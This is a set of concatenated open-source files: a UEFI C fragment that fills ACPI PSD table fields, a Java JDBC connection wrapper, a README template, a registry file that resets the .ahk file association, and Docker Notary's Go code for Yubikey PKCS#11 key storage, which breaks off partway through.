if (EFI_ERROR(Status)) {
DEBUG((DEBUG_ERROR, " GetSecCFwVersion failed =%x\n",Status));
}
DEBUG( (DEBUG_INFO, "PSD Values: CodeMajor=%x\n", mPsdt->FwVer.CodeMajor ));
DEBUG( (DEBUG_INFO, "PSD Values: CodeMinor=%x\n", mPsdt->FwVer.CodeMinor ));
DEBUG( (DEBUG_INFO, "PSD Values: CodeHotFix=%x\n", mPsdt->FwVer.CodeHotFix ));
DEBUG( (DEBUG_INFO, "PSD Values: CodeBuildNo=%x \n", mPsdt->FwVer.CodeBuildNo ));
if( &(mPsdt->FwVendor) == NULL) {
return RETURN_BUFFER_TOO_SMALL;
}
CopyMem(&mPsdt->FwVendor, EFI_ACPI_PSD_FW_VENDOR, EFI_ACPI_PSD_FW_VENDOR_SIZE);
PlatformData = (PLATFORM_DATA *)GetPlatformDataPtr();
if (PlatformData == NULL) {
DEBUG(( DEBUG_ERROR, "PSD Values: GetPlatformDataPtr Failed\n" ));
return EFI_UNSUPPORTED;
}
//00 - Secure boot is Disabled; 01 - Verified boot is enabled; 11 - Secure boot (verified + PcdVerifiedBootEnabled) enabled.
mPsdt->SecureBoot = (UINT8)(((PlatformData->BtGuardInfo.VerifiedBoot) << 1)| FeaturePcdGet (PcdVerifiedBootEnabled));
//Measured boot enabled.
mPsdt->MeasuredBoot = (UINT8)((PlatformData->BtGuardInfo.MeasuredBoot));
//0 - No HWRoT; 1 - ROM based RoT; 2 - TXE; 3 - CSE; 4 - ACM; 5 - TXT
mPsdt->HwrotType = PSD_HROT_ACM;
DEBUG((DEBUG_INFO, "PSD Values: SecureBootEnabled=%x\n", mPsdt->SecureBoot));
DEBUG((DEBUG_INFO, "PSD Values: MeasuredBootEnabled=%x\n", mPsdt->MeasuredBoot));
DEBUG((DEBUG_INFO, "PSD Values: HwrotType=%x\n", mPsdt->HwrotType));
DumpHex (2, 0, sizeof(EFI_ACPI_PSD_TABLE), (VOID *)Table);
DEBUG( (DEBUG_INFO, "UpdateAcpiPsdTable() end\n") );
return EFI_SUCCESS;
}
| {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source.
* Copyright 2006, Red Hat Middleware LLC, and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package com.taobao.datasource.resource.adapter.jdbc;
import java.sql.Array;
import java.sql.Blob;
import java.sql.CallableStatement;
import java.sql.Clob;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.NClob;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLClientInfoException;
import java.sql.SQLException;
import java.sql.SQLWarning;
import java.sql.SQLXML;
import java.sql.Savepoint;
import java.sql.Statement;
import java.sql.Struct;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import org.jboss.logging.Logger;
import org.jboss.util.NestedSQLException;
/**
* A wrapper for a connection.
*
* @author <a href="mailto:[email protected]">David Jencks</a>
* @author <a href="mailto:[email protected]">Adrian Brock</a>
* @version $Revision: 57189 $
*/
public class WrappedConnection implements Connection {
private static final Logger log = Logger.getLogger(WrappedConnection.class);
private BaseWrapperManagedConnection mc;
private WrapperDataSource dataSource;
private HashMap statements;
private boolean closed = false;
private int trackStatements;
public WrappedConnection(final BaseWrapperManagedConnection mc) {
this.mc = mc;
if (mc != null)
trackStatements = mc.getTrackStatements();
}
void setManagedConnection(final BaseWrapperManagedConnection mc) {
this.mc = mc;
if (mc != null)
trackStatements = mc.getTrackStatements();
}
public WrapperDataSource getDataSource() {
return dataSource;
}
protected void setDataSource(WrapperDataSource dataSource) {
this.dataSource = dataSource;
}
public void setReadOnly(boolean readOnly) throws SQLException {
checkStatus();
mc.setJdbcReadOnly(readOnly);
}
public boolean isReadOnly() throws SQLException {
checkStatus();
return mc.isJdbcReadOnly();
}
public void close() throws SQLException {
closed = true;
if (mc != null) {
if (trackStatements != BaseWrapperManagedConnectionFactory.TRACK_STATEMENTS_FALSE_INT) {
synchronized (this) {
if (statements != null) {
for (Iterator i = statements.entrySet().iterator(); i.hasNext();) {
Map.Entry entry = (Map.Entry) i.next();
WrappedStatement ws = (WrappedStatement) entry.getKey();
if (trackStatements == BaseWrapperManagedConnectionFactory.TRACK_STATEMENTS_TRUE_INT) {
Throwable stackTrace = (Throwable) entry.getValue();
log.warn("Closing a statement you left open, please do your own housekeeping",
stackTrace);
}
try {
ws.internalClose();
} catch (Throwable t) {
log.warn("Exception trying to close statement:", t);
}
}
}
}
}
mc.closeHandle(this);
}
mc = null;
dataSource = null;
}
public boolean isClosed() throws SQLException {
return closed;
}
public Statement createStatement() throws SQLException {
checkTransaction();
try {
return new WrappedStatement(this, mc.getConnection().createStatement());
} catch (Throwable t) {
throw checkException(t);
}
}
public Statement createStatement(int resultSetType, int resultSetConcurrency) throws SQLException {
checkTransaction();
try {
return new WrappedStatement(this, mc.getConnection().createStatement(resultSetType, resultSetConcurrency));
} catch (Throwable t) {
throw checkException(t);
}
}
public Statement createStatement(int resultSetType, int resultSetConcurrency, int resultSetHoldability)
throws SQLException {
checkTransaction();
try {
return new WrappedStatement(this, mc.getConnection().createStatement(resultSetType, resultSetConcurrency,
resultSetHoldability));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql) throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY,
ResultSet.CONCUR_READ_ONLY));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency)
throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.prepareStatement(sql, resultSetType, resultSetConcurrency));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency,
int resultSetHoldability) throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.getConnection().prepareStatement(sql, resultSetType,
resultSetConcurrency, resultSetHoldability));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql, int autoGeneratedKeys) throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.getConnection().prepareStatement(sql, autoGeneratedKeys));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql, int[] columnIndexes) throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.getConnection().prepareStatement(sql, columnIndexes));
} catch (Throwable t) {
throw checkException(t);
}
}
public PreparedStatement prepareStatement(String sql, String[] columnNames) throws SQLException {
checkTransaction();
try {
return new WrappedPreparedStatement(this, mc.getConnection().prepareStatement(sql, columnNames));
} catch (Throwable t) {
throw checkException(t);
}
}
public CallableStatement prepareCall(String sql) throws SQLException {
checkTransaction();
try {
return new WrappedCallableStatement(this, mc.prepareCall(sql, ResultSet.TYPE_FORWARD_ONLY,
ResultSet.CONCUR_READ_ONLY));
} catch (Throwable t) {
throw checkException(t);
}
}
public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency) throws SQLException {
checkTransaction();
try {
return new WrappedCallableStatement(this, mc.prepareCall(sql, resultSetType, resultSetConcurrency));
} catch (Throwable t) {
throw checkException(t);
}
}
public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency,
int resultSetHoldability) throws SQLException {
checkTransaction();
try {
return new WrappedCallableStatement(this, mc.getConnection().prepareCall(sql, resultSetType,
resultSetConcurrency, resultSetHoldability));
} catch (Throwable t) {
throw checkException(t);
}
}
public String nativeSQL(String sql) throws SQLException {
checkTransaction();
try {
return mc.getConnection().nativeSQL(sql);
} catch (Throwable t) {
throw checkException(t);
}
}
public void setAutoCommit(boolean autocommit) throws SQLException {
checkStatus();
mc.setJdbcAutoCommit(autocommit);
}
public boolean getAutoCommit() throws SQLException {
checkStatus();
return mc.isJdbcAutoCommit();
}
public void commit() throws SQLException {
checkTransaction();
mc.jdbcCommit();
}
public void rollback() throws SQLException {
checkTransaction();
mc.jdbcRollback();
}
public void rollback(Savepoint savepoint) throws SQLException {
checkTransaction();
mc.jdbcRollback(savepoint);
}
public DatabaseMetaData getMetaData() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getMetaData();
} catch (Throwable t) {
throw checkException(t);
}
}
public void setCatalog(String catalog) throws SQLException {
checkTransaction();
try {
mc.getConnection().setCatalog(catalog);
} catch (Throwable t) {
throw checkException(t);
}
}
public String getCatalog() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getCatalog();
} catch (Throwable t) {
throw checkException(t);
}
}
public void setTransactionIsolation(int isolationLevel) throws SQLException {
checkStatus();
mc.setJdbcTransactionIsolation(isolationLevel);
}
public int getTransactionIsolation() throws SQLException {
checkStatus();
return mc.getJdbcTransactionIsolation();
}
public SQLWarning getWarnings() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getWarnings();
} catch (Throwable t) {
throw checkException(t);
}
}
public void clearWarnings() throws SQLException {
checkTransaction();
try {
mc.getConnection().clearWarnings();
} catch (Throwable t) {
throw checkException(t);
}
}
public Map getTypeMap() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getTypeMap();
} catch (Throwable t) {
throw checkException(t);
}
}
public void setTypeMap(Map<String, Class<?>> typeMap) throws SQLException {
checkTransaction();
try {
mc.getConnection().setTypeMap(typeMap);
} catch (Throwable t) {
throw checkException(t);
}
}
public void setHoldability(int holdability) throws SQLException {
checkTransaction();
try {
mc.getConnection().setHoldability(holdability);
} catch (Throwable t) {
throw checkException(t);
}
}
public int getHoldability() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getHoldability();
} catch (Throwable t) {
throw checkException(t);
}
}
public Savepoint setSavepoint() throws SQLException {
checkTransaction();
try {
return mc.getConnection().setSavepoint();
} catch (Throwable t) {
throw checkException(t);
}
}
public Savepoint setSavepoint(String name) throws SQLException {
checkTransaction();
try {
return mc.getConnection().setSavepoint(name);
} catch (Throwable t) {
throw checkException(t);
}
}
public void releaseSavepoint(Savepoint savepoint) throws SQLException {
checkTransaction();
try {
mc.getConnection().releaseSavepoint(savepoint);
} catch (Throwable t) {
throw checkException(t);
}
}
public Connection getUnderlyingConnection() throws SQLException {
checkTransaction();
return mc.getConnection();
}
void checkTransaction() throws SQLException {
checkStatus();
mc.checkTransaction();
}
/**
* The checkStatus method checks that the handle has not been closed and
* that it is associated with a managed connection.
*
* @exception SQLException if an error occurs
*/
protected void checkStatus() throws SQLException {
if (closed)
throw new SQLException("Connection handle has been closed and is unusable");
if (mc == null)
throw new SQLException("Connection handle is not currently associated with a ManagedConnection");
}
/**
* The base checkException method rethrows the supplied exception, informing
* the ManagedConnection of the error. Subclasses may override this to
* filter exceptions based on their severity.
*
* @param e a <code>SQLException</code> value
* @exception Exception if an error occurs
*/
protected SQLException checkException(Throwable t) throws SQLException {
if (mc != null)
mc.connectionError(t);
if (t instanceof SQLException)
throw (SQLException) t;
else
throw new NestedSQLException("Error", t);
}
int getTrackStatements() {
return trackStatements;
}
void registerStatement(WrappedStatement ws) {
if (trackStatements == BaseWrapperManagedConnectionFactory.TRACK_STATEMENTS_FALSE_INT)
return;
synchronized (this) {
if (statements == null)
statements = new HashMap();
if (trackStatements == BaseWrapperManagedConnectionFactory.TRACK_STATEMENTS_TRUE_INT)
statements.put(ws, new Throwable("STACKTRACE"));
else
statements.put(ws, null);
}
}
void unregisterStatement(WrappedStatement ws) {
if (trackStatements == BaseWrapperManagedConnectionFactory.TRACK_STATEMENTS_FALSE_INT)
return;
synchronized (this) {
if (statements != null)
statements.remove(ws);
}
}
void checkConfiguredQueryTimeout(WrappedStatement ws) throws SQLException {
if (mc == null || dataSource == null)
return;
int timeout = 0;
// Use the transaction timeout
if (mc.isTransactionQueryTimeout())
timeout = dataSource.getTimeLeftBeforeTransactionTimeout();
// Look for a configured value
if (timeout <= 0)
timeout = mc.getQueryTimeout();
if (timeout > 0)
ws.setQueryTimeout(timeout);
}
Logger getLogger() {
return log;
}
public boolean isWrapperFor(Class<?> iface) throws SQLException {
return iface.isInstance(mc.getConnection());
}
public <T> T unwrap(Class<T> iface) throws SQLException {
return (T) (iface.isInstance(mc.getConnection()) ? mc.getConnection() : null);
}
public Clob createClob() throws SQLException {
checkTransaction();
try {
return mc.getConnection().createClob();
} catch (Throwable t) {
throw checkException(t);
}
}
public Blob createBlob() throws SQLException {
checkTransaction();
try {
return mc.getConnection().createBlob();
} catch (Throwable t) {
throw checkException(t);
}
}
public NClob createNClob() throws SQLException {
checkTransaction();
try {
return mc.getConnection().createNClob();
} catch (Throwable t) {
throw checkException(t);
}
}
public SQLXML createSQLXML() throws SQLException {
checkTransaction();
try {
return mc.getConnection().createSQLXML();
} catch (Throwable t) {
throw checkException(t);
}
}
public boolean isValid(int timeout) throws SQLException {
checkTransaction();
try {
return mc.getConnection().isValid(timeout);
} catch (Throwable t) {
throw checkException(t);
}
}
public void setClientInfo(String name, String value) throws SQLClientInfoException {
try {
checkTransaction();
try {
mc.getConnection().setClientInfo(name, value);
} catch (Throwable t) {
throw checkException(t);
}
} catch (SQLClientInfoException e) {
throw e;
} catch (SQLException e) {
SQLClientInfoException t = new SQLClientInfoException();
t.initCause(e);
throw t;
}
}
public void setClientInfo(Properties properties) throws SQLClientInfoException {
try {
checkTransaction();
try {
mc.getConnection().setClientInfo(properties);
} catch (Throwable t) {
throw checkException(t);
}
} catch (SQLClientInfoException e) {
throw e;
} catch (SQLException e) {
SQLClientInfoException t = new SQLClientInfoException();
t.initCause(e);
throw t;
}
}
public String getClientInfo(String name) throws SQLException {
checkTransaction();
try {
return mc.getConnection().getClientInfo(name);
} catch (Throwable t) {
throw checkException(t);
}
}
public Properties getClientInfo() throws SQLException {
checkTransaction();
try {
return mc.getConnection().getClientInfo();
} catch (Throwable t) {
throw checkException(t);
}
}
public Array createArrayOf(String typeName, Object[] elements) throws SQLException {
checkTransaction();
try {
return mc.getConnection().createArrayOf(typeName, elements);
} catch (Throwable t) {
throw checkException(t);
}
}
public Struct createStruct(String typeName, Object[] attributes) throws SQLException {
checkTransaction();
try {
return mc.getConnection().createStruct(typeName, attributes);
} catch (Throwable t) {
throw checkException(t);
}
}
}
| {
"pile_set_name": "Github"
} |
# <%= name %>
<%= description %> | {
"pile_set_name": "Github"
} |
Windows Registry Editor Version 5.00
[-HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ahk\UserChoice]
| {
"pile_set_name": "Github"
} |
// +build pkcs11
package yubikey
import (
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
"errors"
"fmt"
"io"
"math/big"
"os"
"time"
"github.com/Sirupsen/logrus"
"github.com/docker/notary/passphrase"
"github.com/docker/notary/trustmanager"
"github.com/docker/notary/tuf/data"
"github.com/docker/notary/tuf/signed"
"github.com/miekg/pkcs11"
)
const (
// UserPin is the user pin of a yubikey (in PIV parlance, is the PIN)
UserPin = "123456"
// SOUserPin is the "Security Officer" user pin - this is the PIV management
// (MGM) key, which is different than the admin pin of the Yubikey PGP interface
// (which in PIV parlance is the PUK, and defaults to 12345678)
SOUserPin = "010203040506070801020304050607080102030405060708"
numSlots = 4 // number of slots in the yubikey
// KeymodeNone means that no touch or PIN is required to sign with the yubikey
KeymodeNone = 0
// KeymodeTouch means that only touch is required to sign with the yubikey
KeymodeTouch = 1
// KeymodePinOnce means that the pin entry is required once the first time to sign with the yubikey
KeymodePinOnce = 2
// KeymodePinAlways means that pin entry is required every time to sign with the yubikey
KeymodePinAlways = 4
// the key size, when importing a key into yubikey, MUST be 32 bytes
ecdsaPrivateKeySize = 32
sigAttempts = 5
)
// what key mode to use when generating keys
var (
yubikeyKeymode = KeymodeTouch | KeymodePinOnce
// order in which to prefer token locations on the yubikey.
// corresponds to: 9c, 9e, 9d, 9a
slotIDs = []int{2, 1, 3, 0}
)
// SetYubikeyKeyMode - sets the mode when generating yubikey keys.
// This is to be used for testing. It does nothing if not building with tag
// pkcs11.
func SetYubikeyKeyMode(keyMode int) error {
// technically 7 (1 | 2 | 4) is valid, but KeymodePinOnce +
// KeymdoePinAlways don't really make sense together
if keyMode < 0 || keyMode > 5 {
return errors.New("Invalid key mode")
}
yubikeyKeymode = keyMode
return nil
}
// SetTouchToSignUI - allows configurable UX for notifying a user that they
// need to touch the yubikey to sign. The callback may be used to provide a
// mechanism for updating a GUI (such as removing a modal) after the touch
// has been made
func SetTouchToSignUI(notifier func(), callback func()) {
touchToSignUI = notifier
if callback != nil {
touchDoneCallback = callback
}
}
var touchToSignUI = func() {
fmt.Println("Please touch the attached Yubikey to perform signing.")
}
var touchDoneCallback = func() {
// noop
}
var pkcs11Lib string
func init() {
for _, loc := range possiblePkcs11Libs {
_, err := os.Stat(loc)
if err == nil {
p := pkcs11.New(loc)
if p != nil {
pkcs11Lib = loc
return
}
}
}
}
// ErrBackupFailed is returned when a YubiStore fails to back up a key that
// is added
type ErrBackupFailed struct {
err string
}
func (err ErrBackupFailed) Error() string {
return fmt.Sprintf("Failed to backup private key to: %s", err.err)
}
// An error indicating that the HSM is not present (as opposed to failing),
// i.e. that we can confidently claim that the key is not stored in the HSM
// without notifying the user about a missing or failing HSM.
type errHSMNotPresent struct {
err string
}
func (err errHSMNotPresent) Error() string {
return err.err
}
type yubiSlot struct {
role string
slotID []byte
}
// YubiPrivateKey represents a private key inside of a yubikey
type YubiPrivateKey struct {
data.ECDSAPublicKey
passRetriever passphrase.Retriever
slot []byte
libLoader pkcs11LibLoader
}
// yubikeySigner wraps a YubiPrivateKey and implements the crypto.Signer interface
type yubikeySigner struct {
YubiPrivateKey
}
// NewYubiPrivateKey returns a YubiPrivateKey, which implements the data.PrivateKey
// interface except that the private material is inacessible
func NewYubiPrivateKey(slot []byte, pubKey data.ECDSAPublicKey,
passRetriever passphrase.Retriever) *YubiPrivateKey {
return &YubiPrivateKey{
ECDSAPublicKey: pubKey,
passRetriever: passRetriever,
slot: slot,
libLoader: defaultLoader,
}
}
// Public is a required method of the crypto.Signer interface
func (ys *yubikeySigner) Public() crypto.PublicKey {
publicKey, err := x509.ParsePKIXPublicKey(ys.YubiPrivateKey.Public())
if err != nil {
return nil
}
return publicKey
}
func (y *YubiPrivateKey) setLibLoader(loader pkcs11LibLoader) {
y.libLoader = loader
}
// CryptoSigner returns a crypto.Signer tha wraps the YubiPrivateKey. Needed for
// Certificate generation only
func (y *YubiPrivateKey) CryptoSigner() crypto.Signer {
return &yubikeySigner{YubiPrivateKey: *y}
}
// Private is not implemented in hardware keys
func (y *YubiPrivateKey) Private() []byte {
// We cannot return the private material from a Yubikey
// TODO(david): We probably want to return an error here
return nil
}
// SignatureAlgorithm returns which algorithm this key uses to sign - currently
// hardcoded to ECDSA
func (y YubiPrivateKey) SignatureAlgorithm() data.SigAlgorithm {
return data.ECDSASignature
}
// Sign is a required method of the crypto.Signer interface and the data.PrivateKey
// interface
func (y *YubiPrivateKey) Sign(rand io.Reader, msg []byte, opts crypto.SignerOpts) ([]byte, error) {
ctx, session, err := SetupHSMEnv(pkcs11Lib, y.libLoader)
if err != nil {
return nil, err
}
defer cleanup(ctx, session)
v := signed.Verifiers[data.ECDSASignature]
for i := 0; i < sigAttempts; i++ {
sig, err := sign(ctx, session, y.slot, y.passRetriever, msg)
if err != nil {
return nil, fmt.Errorf("failed to sign using Yubikey: %v", err)
}
if err := v.Verify(&y.ECDSAPublicKey, sig, msg); err == nil {
return sig, nil
}
}
return nil, errors.New("Failed to generate signature on Yubikey.")
}
// If a byte array is less than the number of bytes specified by
// ecdsaPrivateKeySize, left-zero-pad the byte array until
// it is the required size.
func ensurePrivateKeySize(payload []byte) []byte {
final := payload
if len(payload) < ecdsaPrivateKeySize {
final = make([]byte, ecdsaPrivateKeySize)
copy(final[ecdsaPrivateKeySize-len(payload):], payload)
}
return final
}
// addECDSAKey adds a key to the yubikey
func addECDSAKey(
ctx IPKCS11Ctx,
session pkcs11.SessionHandle,
privKey data.PrivateKey,
pkcs11KeyID []byte,
passRetriever passphrase.Retriever,
role string,
) error {
logrus.Debugf("Attempting to add key to yubikey with ID: %s", privKey.ID())
err := login(ctx, session, passRetriever, pkcs11.CKU_SO, SOUserPin)
if err != nil {
return err
}
defer ctx.Logout(session)
// Create an ecdsa.PrivateKey out of the private key bytes
ecdsaPrivKey, err := x509.ParseECPrivateKey(privKey.Private())
if err != nil {
return err
}
ecdsaPrivKeyD := ensurePrivateKeySize(ecdsaPrivKey.D.Bytes())
// Hard-coded policy: the generated certificate expires in 10 years.
startTime := time.Now()
template, err := trustmanager.NewCertificate(role, startTime, startTime.AddDate(10, 0, 0))
if err != nil {
return fmt.Errorf("failed to create the certificate template: %v", err)
}
certBytes, err := x509.CreateCertificate(rand.Reader, template, template, ecdsaPrivKey.Public(), ecdsaPrivKey)
if err != nil {
return fmt.Errorf("failed to create the certificate: %v", err)
}
certTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_CERTIFICATE),
pkcs11.NewAttribute(pkcs11.CKA_VALUE, certBytes),
pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
}
privateKeyTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_PRIVATE_KEY),
pkcs11.NewAttribute(pkcs11.CKA_KEY_TYPE, pkcs11.CKK_ECDSA),
pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
pkcs11.NewAttribute(pkcs11.CKA_EC_PARAMS, []byte{0x06, 0x08, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x03, 0x01, 0x07}),
pkcs11.NewAttribute(pkcs11.CKA_VALUE, ecdsaPrivKeyD),
pkcs11.NewAttribute(pkcs11.CKA_VENDOR_DEFINED, yubikeyKeymode),
}
_, err = ctx.CreateObject(session, certTemplate)
if err != nil {
return fmt.Errorf("error importing: %v", err)
}
_, err = ctx.CreateObject(session, privateKeyTemplate)
if err != nil {
return fmt.Errorf("error importing: %v", err)
}
return nil
}
func getECDSAKey(ctx IPKCS11Ctx, session pkcs11.SessionHandle, pkcs11KeyID []byte) (*data.ECDSAPublicKey, string, error) {
findTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),
pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_PUBLIC_KEY),
}
attrTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_KEY_TYPE, []byte{0}),
pkcs11.NewAttribute(pkcs11.CKA_EC_POINT, []byte{0}),
pkcs11.NewAttribute(pkcs11.CKA_EC_PARAMS, []byte{0}),
}
if err := ctx.FindObjectsInit(session, findTemplate); err != nil {
logrus.Debugf("Failed to init: %s", err.Error())
return nil, "", err
}
obj, _, err := ctx.FindObjects(session, 1)
if err != nil {
logrus.Debugf("Failed to find objects: %v", err)
return nil, "", err
}
if err := ctx.FindObjectsFinal(session); err != nil {
logrus.Debugf("Failed to finalize: %s", err.Error())
return nil, "", err
}
if len(obj) != 1 {
logrus.Debugf("should have found one object")
return nil, "", errors.New("no matching keys found inside of yubikey")
}
// Retrieve the public-key material to be able to create a new ECSAKey
attr, err := ctx.GetAttributeValue(session, obj[0], attrTemplate)
if err != nil {
logrus.Debugf("Failed to get Attribute for: %v", obj[0])
return nil, "", err
}
// Iterate through all the attributes of this key and saves CKA_PUBLIC_EXPONENT and CKA_MODULUS. Removes ordering specific issues.
var rawPubKey []byte
for _, a := range attr {
if a.Type == pkcs11.CKA_EC_POINT {
rawPubKey = a.Value
}
}
ecdsaPubKey := ecdsa.PublicKey{Curve: elliptic.P256(), X: new(big.Int).SetBytes(rawPubKey[3:35]), Y: new(big.Int).SetBytes(rawPubKey[35:])}
pubBytes, err := x509.MarshalPKIXPublicKey(&ecdsaPubKey)
if err != nil {
logrus.Debugf("Failed to Marshal public key")
return nil, "", err
}
return data.NewECDSAPublicKey(pubBytes), data.CanonicalRootRole, nil
}
// sign returns a signature for a given signature request
func sign(ctx IPKCS11Ctx, session pkcs11.SessionHandle, pkcs11KeyID []byte, passRetriever passphrase.Retriever, payload []byte) ([]byte, error) {
err := login(ctx, session, passRetriever, pkcs11.CKU_USER, UserPin)
if err != nil {
return nil, fmt.Errorf("error logging in: %v", err)
}
defer ctx.Logout(session)
// Define the ECDSA Private key template
class := pkcs11.CKO_PRIVATE_KEY
privateKeyTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_CLASS, class),
pkcs11.NewAttribute(pkcs11.CKA_KEY_TYPE, pkcs11.CKK_ECDSA),
pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
}
if err := ctx.FindObjectsInit(session, privateKeyTemplate); err != nil {
logrus.Debugf("Failed to init find objects: %s", err.Error())
return nil, err
}
obj, _, err := ctx.FindObjects(session, 1)
if err != nil {
logrus.Debugf("Failed to find objects: %v", err)
return nil, err
}
if err = ctx.FindObjectsFinal(session); err != nil {
logrus.Debugf("Failed to finalize find objects: %s", err.Error())
return nil, err
}
if len(obj) != 1 {
return nil, errors.New("length of objects found not 1")
}
var sig []byte
err = ctx.SignInit(
session, []*pkcs11.Mechanism{pkcs11.NewMechanism(pkcs11.CKM_ECDSA, nil)}, obj[0])
if err != nil {
return nil, err
}
// Get the SHA256 of the payload
digest := sha256.Sum256(payload)
if (yubikeyKeymode & KeymodeTouch) > 0 {
touchToSignUI()
defer touchDoneCallback()
}
// a call to Sign, whether or not Sign fails, will clear the SignInit
sig, err = ctx.Sign(session, digest[:])
if err != nil {
logrus.Debugf("Error while signing: %s", err)
return nil, err
}
if sig == nil {
return nil, errors.New("Failed to create signature")
}
return sig[:], nil
}
func yubiRemoveKey(ctx IPKCS11Ctx, session pkcs11.SessionHandle, pkcs11KeyID []byte, passRetriever passphrase.Retriever, keyID string) error {
err := login(ctx, session, passRetriever, pkcs11.CKU_SO, SOUserPin)
if err != nil {
return err
}
defer ctx.Logout(session)
template := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),
pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
//pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_PRIVATE_KEY),
pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_CERTIFICATE),
}
if err := ctx.FindObjectsInit(session, template); err != nil {
logrus.Debugf("Failed to init find objects: %s", err.Error())
return err
}
obj, b, err := ctx.FindObjects(session, 1)
if err != nil {
logrus.Debugf("Failed to find objects: %s %v", err.Error(), b)
return err
}
if err := ctx.FindObjectsFinal(session); err != nil {
logrus.Debugf("Failed to finalize find objects: %s", err.Error())
return err
}
if len(obj) != 1 {
logrus.Debugf("should have found exactly one object")
return err
}
// Delete the certificate
err = ctx.DestroyObject(session, obj[0])
if err != nil {
logrus.Debugf("Failed to delete cert")
return err
}
return nil
}
func yubiListKeys(ctx IPKCS11Ctx, session pkcs11.SessionHandle) (keys map[string]yubiSlot, err error) {
keys = make(map[string]yubiSlot)
findTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),
//pkcs11.NewAttribute(pkcs11.CKA_ID, pkcs11KeyID),
pkcs11.NewAttribute(pkcs11.CKA_CLASS, pkcs11.CKO_CERTIFICATE),
}
attrTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_ID, []byte{0}),
pkcs11.NewAttribute(pkcs11.CKA_VALUE, []byte{0}),
}
if err = ctx.FindObjectsInit(session, findTemplate); err != nil {
logrus.Debugf("Failed to init: %s", err.Error())
return
}
objs, b, err := ctx.FindObjects(session, numSlots)
for err == nil {
var o []pkcs11.ObjectHandle
o, b, err = ctx.FindObjects(session, numSlots)
if err != nil {
continue
}
if len(o) == 0 {
break
}
objs = append(objs, o...)
}
if err != nil {
logrus.Debugf("Failed to find: %s %v", err.Error(), b)
if len(objs) == 0 {
return nil, err
}
}
if err = ctx.FindObjectsFinal(session); err != nil {
logrus.Debugf("Failed to finalize: %s", err.Error())
return
}
if len(objs) == 0 {
return nil, errors.New("No keys found in yubikey.")
}
logrus.Debugf("Found %d objects matching list filters", len(objs))
for _, obj := range objs {
var (
cert *x509.Certificate
slot []byte
)
// Retrieve the public-key material to be able to create a new ECDSA
attr, err := ctx.GetAttributeValue(session, obj, attrTemplate)
if err != nil {
logrus.Debugf("Failed to get Attribute for: %v", obj)
continue
}
// Iterate through all the attributes of this key and saves CKA_PUBLIC_EXPONENT and CKA_MODULUS. Removes ordering specific issues.
for _, a := range attr {
if a.Type == pkcs11.CKA_ID {
slot = a.Value
}
if a.Type == pkcs11.CKA_VALUE {
cert, err = x509.ParseCertificate(a.Value)
if err != nil {
continue
}
if !data.ValidRole(cert.Subject.CommonName) {
continue
}
}
}
// we found nothing
if cert == nil {
continue
}
var ecdsaPubKey *ecdsa.PublicKey
switch cert.PublicKeyAlgorithm {
case x509.ECDSA:
